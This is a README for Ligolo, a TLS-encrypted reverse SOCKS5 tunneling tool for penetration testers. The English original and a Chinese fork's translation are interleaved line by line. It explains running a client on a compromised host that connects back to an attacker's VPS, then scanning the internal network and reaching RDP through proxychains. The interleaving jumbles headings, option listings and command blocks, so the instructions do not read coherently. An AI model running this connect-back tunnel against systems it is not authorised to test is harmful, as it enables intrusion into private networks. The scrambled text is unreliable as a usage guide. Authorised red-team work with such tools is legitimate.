裁剪功能

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# Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
# Ligolo : 用于内网渗透的反向隧道
[![forthebadge](https://forthebadge.com/images/badges/made-with-go.svg)](https://forthebadge.com)
[![forthebadge](https://forthebadge.com/images/badges/gluten-free.svg)](https://forthebadge.com)
![Ligolo](img/ligolo.png)
## 介绍
<!-- START doctoc generated TOC please keep comment here to allow auto update -->
<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
## Table of Contents
项目根据 [ligolo](https://github.com/sysdream/ligolo) 修改,主要做一些功能上的裁剪,方便使用.
- [Introduction](#introduction)
- [Use case](#use-case)
- [Quick Demo](#quick-demo)
- [Performance](#performance)
- [Usage](#usage)
- [Setup / Compiling](#setup--compiling)
- [How to use?](#how-to-use)
- [TL;DR](#tldr)
- [Options](#options)
- [Features](#features)
- [To Do](#to-do)
- [Licensing](#licensing)
- [Credits](#credits)
**Ligolo** 是一个简单的,轻量级的反向Socks5代理工具,所有的流量使用TLS加密.
<!-- END doctoc generated TOC please keep comment here to allow auto update -->
其功能类似于*Meterpreter*中的*Autoroute + Socks4a*,但是更加稳定,速度更快.
## Introduction
## 使用场景
**Ligolo** is a *simple* and *lightweight* tool for establishing *SOCKS5* or *TCP* tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).
当你已经在对方内网获取到一台 Windows / Linux / Mac 主机的权限且该主机可以连接互联网.
It is comparable to *Meterpreter* with *Autoroute + Socks4a*, but more stable and faster.
此时你想要建立一个对方内网的Socks5代理.
## Use case
**Ligolo** 可以帮助你建立代理,协助你继续进行内网渗透.
You compromised a Windows / Linux / Mac server during your external audit. This server is located inside a LAN network and
you want to establish connections to other machines on this network.
> 如果已控主机不能访问互联网,可以尝试使用另一款工具 [pystinger](https://github.com/FunnyWolf/pystinger)
**Ligolo** can setup a tunnel to access internal server's resources.
## Quick Demo
Relay of a RDP connection using Proxychains (WAN).
![RDP](img/rdesktop_example.gif)
## Performance
Here is a screenshot of a speedtest between two 100mb/s hosts (ligolo / localrelay). Performance may vary depending on the system and network configuration.
![Speedtest](img/speedtest.png)
## Usage
### Setup / Compiling
Make sure *Go* is installed and working.
1. Get Ligolo and dependencies
```
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep
```
2. Generate self-signed TLS certificates (will be placed in the *certs* folder)
```
make certs TLS_HOST=example.com
```
NOTE: You can also use your own certificates by using the `TLS_CERT` make option when calling *build*. Example: `make build-all TLS_CERT=certs/mycert.pem`.
3. Build
* 3.1. For all architectures
```
make build-all
```
* 3.2. (or) For the current architecture
```
make build
```
### How to use?
*Ligolo* consists of two modules:
- localrelay
- ligolo
*Localrelay* is intended to be launched on the control server (the attacker server).
*Ligolo* is the program to run on the target computer.
For *localrelay*, you can leave the default options. It will listen on every interface on port 5555 and wait for connections from *ligolo* (`-relayserver` parameter).
For *ligolo*, you must specify the IP address of the relay server (or your attack server) using the `-relayserver ip:port` parameter.
You can use the `-h` option for help.
Once the connection has been established between *Ligolo* and *LocalRelay*, a *SOCKS5* proxy will be set up on TCP port `1080` on the relay server (you can change the TCP address/port using the *-localserver* option).
After that, all you have to do is use your favorite tool (Proxychains for example), and explore the client's LAN network.
## 使用方法
### TL;DR
On your attack server.
- 获取已编译的二进制文件 [release](https://github.com/funnywolf/ligolo/releases)
- 在你的VPS主机中.
```
./bin/localrelay_linux_amd64
./ligolos
```
On the compromise host.
- 在已控制的内网主机中.
```
> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
> ligoloc.exe -s your-vps-ip:443
```
Once the connection is established, set the following parameters on the ProxyChains config file (On the attack server):
- 连接建立成功后,此时VPS的127.0.0.1:1080已经建立已控主机的内网Socks5代理.
### 详细说明
*Ligolo* 包含两个模块:
- ligolos (server)
- ligoloc (client)
*ligolos* 运行于你的VPS服务器 (攻击服务器).
*ligoloc* 运行于已经控制的内网主机.
*ligolos*可以使用默认设置.它会监听0.0.0.0:443端口(用于等待ligoloc连接)及127.0.0.1:1080(用于socks5代理).
*ligoloc*运行时必须制定服务端地址,使用参数`-s your-vps-ip:443`.
你可以使用`-h`参数查看帮助.
一旦*ligolos* 和 *ligoloc* 之间的连接建立成功,你即可使用VPS服务器`127.0.0.1:1080`的内网socks5代理.
### 选项
*ligolos* options:
```
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
PS XXX\bin> .\ligolos_windows_amd64.exe -h
Usage of D:\Code\git\go\src\ligolo\bin\ligolos_windows_amd64.exe:
-cert string
The TLS server certificate,Unnecessary (default "cert.pem")
-key string
The TLS server key,Unnecessary (default "key.pem")
-l string
The relay server listening address (the connect-back address) (default "0.0.0.0:443")
-s5 string
The local socks5 server address (your proxychains parameter) (default "127.0.0.1:1080")
```
Profit.
*ligoloc* options:
```
$ proxychains nmap -sT 10.0.0.0/24 -p 80 -Pn -A
$ proxychains rdesktop 10.0.0.123
PS XXX\bin> .\ligoloc_windows_amd64.exe -h
Usage of D:\Code\git\go\src\ligolo\bin\ligoloc_windows_amd64.exe:
-s string
The relay server (the connect-back address) (default "example.com:443")
```
### Options
### 编译
*Localrelay* options:
参考原版ligolo的编译方法
```
Usage of localrelay:
-certfile string
The TLS server certificate (default "certs/server.crt")
-keyfile string
The TLS server key (default "certs/server.key")
-localserver string
The local server address (your proxychains parameter) (default "127.0.0.1:1080")
-relayserver string
The relay server listening address (the connect-back address) (default "0.0.0.0:5555")
```
## 特性
*Ligolo* options:
```
Usage of ligolo:
-autorestart
Attempt to reconnect in case of an exception
-relayserver string
The relay server (the connect-back address) (default "127.0.0.1:5555")
-skipverify
Skip TLS certificate pinning verification
-targetserver string
The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server
```
## Features
- TLS 1.3 tunnel with TLS pinning
- Multiplatforms (Windows / Linux / Mac / ...)
- Multiplexing (1 TCP connection for all flows)
- SOCKS5 proxy or simple relay
- TLS 1.3 加密隧道
- 多平台 (Windows / Linux / Mac / ...)
- 多连接复用 (1 TCP连接传输所有流量)
- SOCKS5代理
## To Do
- Better timeout handling
- SOCKS5 UDP support
- Implement mTLS
- 更好的超时机制
- SOCKS5 UDP 支持
- mTLS双向认证
- 反向端口映射 (映射内网端口到互联网)
## Licensing
GNU General Public License v3.0 (See LICENSING).
GNU General Public License v3.0 (参考 LICENSING).
## Credits
## 原版作者
* Nicolas Chatelain <n.chatelain -at- sysdream.com>
[![Sysdream](img/logo_sysdream.png)](https://sysdream.com)